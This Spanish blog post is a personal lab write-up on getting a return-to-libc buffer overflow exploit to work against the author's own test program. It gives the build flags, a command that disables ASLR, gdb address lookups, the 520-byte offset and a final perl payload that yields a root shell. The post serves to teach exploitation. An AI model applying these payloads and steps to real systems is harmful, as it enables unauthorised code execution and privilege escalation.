Pretendo con esta entrada que aquel como yo que este estudiando estos métodos no se vuelva loco como me ha pasado a mi esta tarde. No voy a explicar exactamente como funciona, si no más bien, como hacerlo funcionar, que es diferente.
El código del programa vulnerable es el siguiente:
#include |
ERROR 1
Para empezar, si lo compilamos con:
gcc poc.c -o poc |
...este metodo de exploiting no funcionará. Es necesario compilar con:
gcc poc.c -Wall -W -g -o poc2 |
Compilando con si -W y -g , nos saldra el siguiente warning, pero continuara la ejecución, terminando con exito:
sh: 1: =/bin/sh: not found [Inferior 1 (process 13743) exited normally] |
ERROR 2
Si vemos que la variable de entorno que queremos utilizar para indicarle la shell tiene diferentes direcciones en cada ejecución, es que tenemos el ASLR activado:
root@kali:~# export SHELL="/bin/sh" root@kali:~# ./getENVaddress.o SHELL ./poc SHELL esta en 0xbfd0e77e root@kali:~# ./getENVaddress.o SHELL ./poc SHELL esta en 0xbfad777e root@kali:~# ./getENVaddress.o SHELL ./poc SHELL esta en 0xbfa0877e root@kali:~# ./getENVaddress.o SHELL ./poc SHELL esta en 0xbf8d677e root@kali:~# ./getENVaddress.o SHELL ./poc SHELL esta en 0xbfa5177e |
En este caso lo desactivaremos con:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space |
Como vemos:
root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbfad1e85 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbff15e85 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbfe56e85 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbf993e85 root@kali:~# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 0 root@kali:~# cat /proc/sys/kernel/randomize_va_space 0 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbffffe85 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbffffe85 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbffffe85 |
ERROR 3
No te fíes de la dirección que te indica el getenv. No es que este mal escrito, es que no nos vale:
(gdb) x/s 0xbffffe85 0xbffffe85: "ON=default" |
Yo al final la saqué por el viejo método de prueba/error:
(gdb) x/s 0xbffffe90 0xbffffe90: "HOME=/root" (gdb) x/s 0xbffffe98 0xbffffe98: "ot" (gdb) x/s 0xbffffea0 0xbffffea0: "=1" (gdb) x/s 0xbffffea8 0xbffffea8: "bin/sh" (gdb) x/s 0xbffffea3 0xbffffea3: "BAH=/bin/sh" |
ERROR 4 (Y más grave)
Para explotar usando "Return to Libc", debemos de buscar la dirección de libc donde se encuentran system, exit y la variable de entorno antes creada (y fijada). Con gdb lo podemos hacer asi:
(gdb) x/s 0xbffffea3 0xbffffea3: "BAH=/bin/sh" (gdb) p system $1 = { |
He aquí el mayor error que yo cometí. Resulta que no nos interesa la dirección de la variable de entorno, SINO LA DE SU CONTENIDO. Es decir, en vez 0xbffffea3, nos interesa la 0xbffffea7 (En este caso), es decir hay que añadirle la longitud del nombre de la variable y el "=". De esta forma:
(gdb) x/s 0xbffffea7 0xbffffea7: "/bin/sh" |
...que es justo lo que nos interesa.
ERROR 4
El buffer es de 512 bytes pero tenemos que machacar algo que esta no justo detras, si no cuatro bytes despues. Me explico el buffer en memoria es algo asi:
===BUFFER de 512 BYTES===\x00\x00\x00\x00===RET1===RET2=== |
Nosotros tendremos que atacar no RET1 sino RET2. Por tanto en vez de escribir 512 "A", escribiremos 520.
EN RESUMEN
El comando a ejecutar será por tanto algo asi:
/root/poc2 XXX `perl -e 'print "A"x520 . [DIR_RET].[SYSTEM].[EXIT].[ENV_VAR] |
Cabe mencionar que DIR_RET da igual que pongamos siempre que no tenga bytes a NULL. Aunque es interesante que sea la direccion de retorno que deberia estar ahi. Con este comando:
/root/poc3 XXX `perl -e 'print "A"x512'` |
Esta es la captura de memoria:
(gdb) x/200x buffer 0xbffff0c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff0d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff0e0: 0x41414141 0x41414141 0x41414141 0x41414141 (...) 0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff2c0: 0x00000000 0xbffff394 0xbffff2e8 0x080484f0 |
Y la direccion de retorno es 0xbffff2e8. Lo dejaremos asi, pues. El comando entonces será:
/root/poc3 XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7"."\x70\x72\xe8\xb7". "\xa7\xfe\xff\xbf"'` |
Esta es la captura de memoria (notese que ahora se copian ocho letras "A" mas:
0xbffff0a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff0b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff0c0: 0x41414141 0x41414141 0x41414141 0x41414141 (...) 0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff2a0: 0x41414141 0x41414141 0xbffff2e8 0xb7e93c30 0xbffff2b0: 0xb7e87270 0xbffffea7 0x08048500 0xb7fb7ff4 0xbffff2c0: 0x08048530 0x00000000 0xbffff348 0xb7e6ee46 |
Al ejecutarlo, por fin:
(gdb) run XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7"."\x70\x72\xe8\xb7". "\xa7\xfe\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/poc3 XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7". "\x70\x72\xe8\xb7"."\xa7\xfe\xff\xbf"'` warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000 Breakpoint 1, main (argc=3, argv=0xbffff374) at poc.c:12 12 if (argc<3) exit(0); (gdb) n 13 fvuln(argv[1], argv[2]); (gdb) n ^Z AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA����0<��pr跧��� # id uid=0(root) gid=0(root) grupos=0(root) # exit |
No hay comentarios:
Publicar un comentario